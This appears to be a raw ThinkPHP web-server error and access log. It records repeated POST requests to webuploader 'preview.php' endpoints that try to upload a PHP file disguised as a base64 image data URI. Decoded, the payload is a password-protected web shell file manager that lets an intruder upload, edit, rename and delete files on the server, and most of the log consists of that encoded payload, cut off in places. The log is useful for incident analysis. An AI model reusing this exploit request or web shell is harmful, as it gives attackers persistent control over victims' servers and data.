0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:47+08:00 ] 119.42.146.234 POST 59.110.137.245/static/admin/js/plugins/webuploader/0.1.5/server/preview.php [运行时间:0.002609s] [吞吐率:383.29req/s] [内存消耗:145.88kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICA' => '', 'js' => 'plugins', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:49+08:00 ] 119.42.146.234 POST 59.110.137.245/Public/Plugin/h-ui/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002745s] [吞吐率:364.31req/s] [内存消耗:196.91kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'Plugin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUW